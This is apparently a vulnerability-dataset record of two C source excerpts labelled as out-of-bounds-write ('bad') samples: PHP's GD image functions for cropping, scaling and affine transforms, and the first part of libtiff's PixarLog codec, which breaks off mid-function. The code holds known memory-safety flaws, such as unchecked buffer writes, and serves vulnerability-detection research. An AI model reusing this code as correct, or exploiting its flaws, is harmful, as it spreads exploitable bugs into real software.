must have a 3x3 matrix"); RETURN_FALSE; } } } } res = gdImageConvolution(im_src, matrix, (float)div, (float)offset); if (res) { RETURN_TRUE; } else { RETURN_FALSE; } } /* }}} */ /* End section: Filters */ /* {{{ proto void imageflip(resource im, int mode) Flip an image (in place) horizontally, vertically or both directions. */ PHP_FUNCTION(imageflip) { zval *IM; long mode; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &mode) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case GD_FLIP_VERTICAL: gdImageFlipVertical(im); break; case GD_FLIP_HORINZONTAL: gdImageFlipHorizontal(im); break; case GD_FLIP_BOTH: gdImageFlipBoth(im); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown flip mode"); RETURN_FALSE; } RETURN_TRUE; } /* }}} */ #ifdef HAVE_GD_BUNDLED /* {{{ proto bool imageantialias(resource im, bool on) Should antialiased functions used or not*/ PHP_FUNCTION(imageantialias) { zval *IM; zend_bool alias; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &alias) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAntialias(im, alias); RETURN_TRUE; } /* }}} */ #endif /* {{{ proto void imagecrop(resource im, array rect) Crop an image using the given coordinates and size, x, y, width and height. */ PHP_FUNCTION(imagecrop) { zval *IM; gdImagePtr im; gdImagePtr im_crop; gdRect rect; zval *z_rect; zval **tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } im_crop = gdImageCrop(im, &rect); if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto void imagecropauto(resource im [, int mode [, threshold [, color]]]) Crop an image automatically using one of the available modes. */ PHP_FUNCTION(imagecropauto) { zval *IM; long mode = -1; long color = -1; double threshold = 0.5f; gdImagePtr im; gdImagePtr im_crop; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|ldl", &IM, &mode, &threshold, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); switch (mode) { case -1: mode = GD_CROP_DEFAULT; case GD_CROP_DEFAULT: case GD_CROP_TRANSPARENT: case GD_CROP_BLACK: case GD_CROP_WHITE: case GD_CROP_SIDES: im_crop = gdImageCropAuto(im, mode); break; case GD_CROP_THRESHOLD: if (color < 0 || (!gdImageTrueColor(im) && color >= gdImageColorsTotal(im))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color argument missing with threshold mode"); RETURN_FALSE; } im_crop = gdImageCropThreshold(im, color, (float) threshold); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown crop mode"); RETURN_FALSE; } if (im_crop == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_crop, le_gd); } } /* }}} */ /* {{{ proto resource imagescale(resource im, new_width[, new_height[, method]]) Scale an image using the given new width and height. */ PHP_FUNCTION(imagescale) { zval *IM; gdImagePtr im; gdImagePtr im_scaled = NULL; int new_width, new_height; long tmp_w, tmp_h=-1, tmp_m = GD_BILINEAR_FIXED; gdInterpolationMethod method; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl|ll", &IM, &tmp_w, &tmp_h, &tmp_m) == FAILURE) { return; } method = tmp_m; ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (tmp_h < 0) { /* preserve ratio */ long src_x, src_y; src_x = gdImageSX(im); src_y = gdImageSY(im); if (src_x) { tmp_h = tmp_w * src_y / src_x; } } if (tmp_h <= 0 || tmp_w <= 0) { RETURN_FALSE; } new_width = tmp_w; new_height = tmp_h; if (gdImageSetInterpolationMethod(im, method)) { im_scaled = gdImageScale(im, new_width, new_height); } if (im_scaled == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im_scaled, le_gd); } } /* }}} */ /* {{{ proto resource imageaffine(resource src, array affine[, array clip]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffine) { zval *IM; gdImagePtr src; gdImagePtr dst; gdRect rect; gdRectPtr pRect = NULL; zval *z_rect = NULL; zval *z_affine; zval **tmp; double affine[6]; int i, nelems; zval **zval_affine_elem = NULL; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra|a", &IM, &z_affine, &z_rect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(src, gdImagePtr, &IM, -1, "Image", le_gd); if ((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_affine))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine array must have six elements"); RETURN_FALSE; } for (i = 0; i < nelems; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_affine), i, (void **) &zval_affine_elem) == SUCCESS) { switch (Z_TYPE_PP(zval_affine_elem)) { case IS_LONG: affine[i] = Z_LVAL_PP(zval_affine_elem); break; case IS_DOUBLE: affine[i] = Z_DVAL_PP(zval_affine_elem); break; case IS_STRING: { zval dval; dval = **zval_affine_elem; zval_copy_ctor(&dval); convert_to_double(&dval); affine[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (z_rect != NULL) { if (zend_hash_find(HASH_OF(z_rect), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.x = Z_LVAL(lval); } else { rect.x = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "y", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.y = Z_LVAL(lval); } else { rect.y = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "width", sizeof("width"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.width = Z_LVAL(lval); } else { rect.width = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing width"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(z_rect), "height", sizeof("height"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_LONG) { zval lval; lval = **tmp; zval_copy_ctor(&lval); convert_to_long(&lval); rect.height = Z_LVAL(lval); } else { rect.height = Z_LVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing height"); RETURN_FALSE; } pRect = &rect; } else { rect.x = -1; rect.y = -1; rect.width = gdImageSX(src); rect.height = gdImageSY(src); pRect = NULL; } if (gdTransformAffineGetImage(&dst, src, pRect, affine) != GD_TRUE) { RETURN_FALSE; } if (dst == NULL) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, dst, le_gd); } } /* }}} */ /* {{{ proto array imageaffinematrixget(type[, options]) Return an image containing the affine tramsformed src image, using an optional clipping area */ PHP_FUNCTION(imageaffinematrixget) { double affine[6]; long type; zval *options = NULL; zval **tmp; int res = GD_FALSE, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|z", &type, &options) == FAILURE) { return; } switch((gdAffineStandardMatrix)type) { case GD_AFFINE_TRANSLATE: case GD_AFFINE_SCALE: { double x, y; if (!options || Z_TYPE_P(options) != IS_ARRAY) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Array expected as options"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "x", sizeof("x"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); x = Z_DVAL(dval); } else { x = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing x position"); RETURN_FALSE; } if (zend_hash_find(HASH_OF(options), "y", sizeof("y"), (void **)&tmp) != FAILURE) { if (Z_TYPE_PP(tmp) != IS_DOUBLE) { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); y = Z_DVAL(dval); } else { y = Z_DVAL_PP(tmp); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Missing y position"); RETURN_FALSE; } if (type == GD_AFFINE_TRANSLATE) { res = gdAffineTranslate(affine, x, y); } else { res = gdAffineScale(affine, x, y); } break; } case GD_AFFINE_ROTATE: case GD_AFFINE_SHEAR_HORIZONTAL: case GD_AFFINE_SHEAR_VERTICAL: { double angle; if (!options) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number is expected as option"); RETURN_FALSE; } if(Z_TYPE_P(options) != IS_DOUBLE) { zval dval; dval = *options; zval_copy_ctor(&dval); convert_to_double(&dval); angle = Z_DVAL(dval); } else { angle = Z_DVAL_P(options); } if (type == GD_AFFINE_SHEAR_HORIZONTAL) { res = gdAffineShearHorizontal(affine, angle); } else if (type == GD_AFFINE_SHEAR_VERTICAL) { res = gdAffineShearVertical(affine, angle); } else { res = gdAffineRotate(affine, angle); } break; } default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %li", type); RETURN_FALSE; } if (res == GD_FALSE) { RETURN_FALSE; } else { array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, affine[i]); } } } /* {{{ proto array imageaffineconcat(array m1, array m2) Concat two matrices (as in doing many ops in one go) */ PHP_FUNCTION(imageaffinematrixconcat) { double m1[6]; double m2[6]; double mr[6]; zval **tmp; zval *z_m1; zval *z_m2; int i, nelems; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "aa", &z_m1, &z_m2) == FAILURE) { return; } if (((nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m1))) != 6) || (nelems = zend_hash_num_elements(Z_ARRVAL_P(z_m2))) != 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Affine arrays must have six elements"); RETURN_FALSE; } for (i = 0; i < 6; i++) { if (zend_hash_index_find(Z_ARRVAL_P(z_m1), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m1[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m1[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m1[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } if (zend_hash_index_find(Z_ARRVAL_P(z_m2), i, (void **) &tmp) == SUCCESS) { switch (Z_TYPE_PP(tmp)) { case IS_LONG: m2[i] = Z_LVAL_PP(tmp); break; case IS_DOUBLE: m2[i] = Z_DVAL_PP(tmp); break; case IS_STRING: { zval dval; dval = **tmp; zval_copy_ctor(&dval); convert_to_double(&dval); m2[i] = Z_DVAL(dval); } break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid type for element %i", i); RETURN_FALSE; } } } if (gdAffineConcat (mr, m1, m2) != GD_TRUE) { RETURN_FALSE; } array_init(return_value); for (i = 0; i < 6; i++) { add_index_double(return_value, i, mr[i]); } } /* {{{ proto resource imagesetinterpolation(resource im, [, method]]) Set the default interpolation method, passing -1 or 0 sets it to the libgd default (bilinear). */ PHP_FUNCTION(imagesetinterpolation) { zval *IM; gdImagePtr im; long method = GD_BILINEAR_FIXED; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r|l", &IM, &method) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (method == -1) { method = GD_BILINEAR_FIXED; } RETURN_BOOL(gdImageSetInterpolationMethod(im, (gdInterpolationMethod) method)); } /* }}} */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: sw=4 ts=4 fdm=marker * vim<600: sw=4 ts=4 */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5256_0
crossvul-cpp_data_bad_5478_1
/* $Id$ */ /* * Copyright (c) 1996-1997 Sam Leffler * Copyright (c) 1996 Pixar * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Pixar, Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tiffiop.h" #ifdef PIXARLOG_SUPPORT /* * TIFF Library. * PixarLog Compression Support * * Contributed by Dan McCoy. * * PixarLog film support uses the TIFF library to store companded * 11 bit values into a tiff file, which are compressed using the * zip compressor. * * The codec can take as input and produce as output 32-bit IEEE float values * as well as 16-bit or 8-bit unsigned integer values. * * On writing any of the above are converted into the internal * 11-bit log format. In the case of 8 and 16 bit values, the * input is assumed to be unsigned linear color values that represent * the range 0-1. In the case of IEEE values, the 0-1 range is assumed to * be the normal linear color range, in addition over 1 values are * accepted up to a value of about 25.0 to encode "hot" highlights and such. * The encoding is lossless for 8-bit values, slightly lossy for the * other bit depths. The actual color precision should be better * than the human eye can perceive with extra room to allow for * error introduced by further image computation. As with any quantized * color format, it is possible to perform image calculations which * expose the quantization error. This format should certainly be less * susceptible to such errors than standard 8-bit encodings, but more * susceptible than straight 16-bit or 32-bit encodings. * * On reading the internal format is converted to the desired output format. * The program can request which format it desires by setting the internal * pseudo tag TIFFTAG_PIXARLOGDATAFMT to one of these possible values: * PIXARLOGDATAFMT_FLOAT = provide IEEE float values. * PIXARLOGDATAFMT_16BIT = provide unsigned 16-bit integer values * PIXARLOGDATAFMT_8BIT = provide unsigned 8-bit integer values * * alternately PIXARLOGDATAFMT_8BITABGR provides unsigned 8-bit integer * values with the difference that if there are exactly three or four channels * (rgb or rgba) it swaps the channel order (bgr or abgr). * * PIXARLOGDATAFMT_11BITLOG provides the internal encoding directly * packed in 16-bit values. However no tools are supplied for interpreting * these values. * * "hot" (over 1.0) areas written in floating point get clamped to * 1.0 in the integer data types. * * When the file is closed after writing, the bit depth and sample format * are set always to appear as if 8-bit data has been written into it. * That way a naive program unaware of the particulars of the encoding * gets the format it is most likely able to handle. * * The codec does it's own horizontal differencing step on the coded * values so the libraries predictor stuff should be turned off. * The codec also handle byte swapping the encoded values as necessary * since the library does not have the information necessary * to know the bit depth of the raw unencoded buffer. * * NOTE: This decoder does not appear to update tif_rawcp, and tif_rawcc. * This can cause problems with the implementation of CHUNKY_STRIP_READ_SUPPORT * as noted in http://trac.osgeo.org/gdal/ticket/3894. FrankW - Jan'11 */ #include "tif_predict.h" #include "zlib.h" #include <stdio.h> #include <stdlib.h> #include <math.h> /* Tables for converting to/from 11 bit coded values */ #define TSIZE 2048 /* decode table size (11-bit tokens) */ #define TSIZEP1 2049 /* Plus one for slop */ #define ONE 1250 /* token value of 1.0 exactly */ #define RATIO 1.004 /* nominal ratio for log part */ #define CODE_MASK 0x7ff /* 11 bits. */ static float Fltsize; static float LogK1, LogK2; #define REPEAT(n, op) { int i; i=n; do { i--; op; } while (i>0); } static void horizontalAccumulateF(uint16 *wp, int n, int stride, float *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; t3 = ToLinearF[ca = (wp[3] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; t3 = ToLinearF[(ca += wp[3]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate12(uint16 *wp, int n, int stride, int16 *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; #define SCALE12 2048.0F #define CLAMP12(t) (((t) < 3071) ? (uint16) (t) : 3071) if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; t3 = ToLinearF[ca = (wp[3] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; t3 = ToLinearF[(ca += wp[3]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); } } else { REPEAT(stride, t0 = ToLinearF[*wp&mask] * SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; t0 = ToLinearF[wp[stride]&mask]*SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; } } } } static void horizontalAccumulate16(uint16 *wp, int n, int stride, uint16 *op, uint16 *ToLinear16) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; op[3] = ToLinear16[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; op[3] = ToLinear16[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; } } } } /* * Returns the log encoded 11-bit values with the horizontal * differencing undone. */ static void horizontalAccumulate11(uint16 *wp, int n, int stride, uint16 *op) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; cr = wp[0]; cg = wp[1]; cb = wp[2]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); } } else if (stride == 4) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; op[3] = wp[3]; cr = wp[0]; cg = wp[1]; cb = wp[2]; ca = wp[3]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); op[3] = (uint16)((ca += wp[3]) & mask); } } else { REPEAT(stride, *op = *wp&mask; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = *wp&mask; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 3; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; op[3] = ToLinear8[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; op[3] = ToLinear8[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8abgr(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; register unsigned char t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = 0; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[1] = t1; op[2] = t2; op[3] = t3; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 4; op[0] = 0; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[1] = t1; op[2] = t2; op[3] = t3; } } else if (stride == 4) { t0 = ToLinear8[ca = (wp[3] & mask)]; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; t0 = ToLinear8[(ca += wp[3]) & mask]; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } /* * State block for each open TIFF * file using PixarLog compression/decompression. */ typedef struct { TIFFPredictorState predict; z_stream stream; tmsize_t tbuf_size; /* only set/used on reading for now */ uint16 *tbuf; uint16 stride; int state; int user_datafmt; int quality; #define PLSTATE_INIT 1 TIFFVSetMethod vgetparent; /* super-class method */ TIFFVSetMethod vsetparent; /* super-class method */ float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; } PixarLogState; static int PixarLogMakeTables(PixarLogState *sp) { /* * We make several tables here to convert between various external * representations (float, 16-bit, and 8-bit) and the internal * 11-bit companded representation. The 11-bit representation has two * distinct regions. A linear bottom end up through .018316 in steps * of about .000073, and a region of constant ratio up to about 25. * These floating point numbers are stored in the main table ToLinearF. * All other tables are derived from this one. The tables (and the * ratios) are continuous at the internal seam. */ int nlin, lt2size; int i, j; double b, c, linstep, v; float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; c = log(RATIO); nlin = (int)(1./c); /* nlin must be an integer */ c = 1./nlin; b = exp(-c*ONE); /* multiplicative scale factor [b*exp(c*ONE) = 1] */ linstep = b*c*exp(1.); LogK1 = (float)(1./c); /* if (v >= 2) token = k1*log(v*k2) */ LogK2 = (float)(1./b); lt2size = (int)(2./linstep) + 1; FromLT2 = (uint16 *)_TIFFmalloc(lt2size*sizeof(uint16)); From14 = (uint16 *)_TIFFmalloc(16384*sizeof(uint16)); From8 = (uint16 *)_TIFFmalloc(256*sizeof(uint16)); ToLinearF = (float *)_TIFFmalloc(TSIZEP1 * sizeof(float)); ToLinear16 = (uint16 *)_TIFFmalloc(TSIZEP1 * sizeof(uint16)); ToLinear8 = (unsigned char *)_TIFFmalloc(TSIZEP1 * sizeof(unsigned char)); if (FromLT2 == NULL || From14 == NULL || From8 == NULL || ToLinearF == NULL || ToLinear16 == NULL || ToLinear8 == NULL) { if (FromLT2) _TIFFfree(FromLT2); if (From14) _TIFFfree(From14); if (From8) _TIFFfree(From8); if (ToLinearF) _TIFFfree(ToLinearF); if (ToLinear16) _TIFFfree(ToLinear16); if (ToLinear8) _TIFFfree(ToLinear8); sp->FromLT2 = NULL; sp->From14 = NULL; sp->From8 = NULL; sp->ToLinearF = NULL; sp->ToLinear16 = NULL; sp->ToLinear8 = NULL; return 0; } j = 0; for (i = 0; i < nlin; i++) { v = i * linstep; ToLinearF[j++] = (float)v; } for (i = nlin; i < TSIZE; i++) ToLinearF[j++] = (float)(b*exp(c*i)); 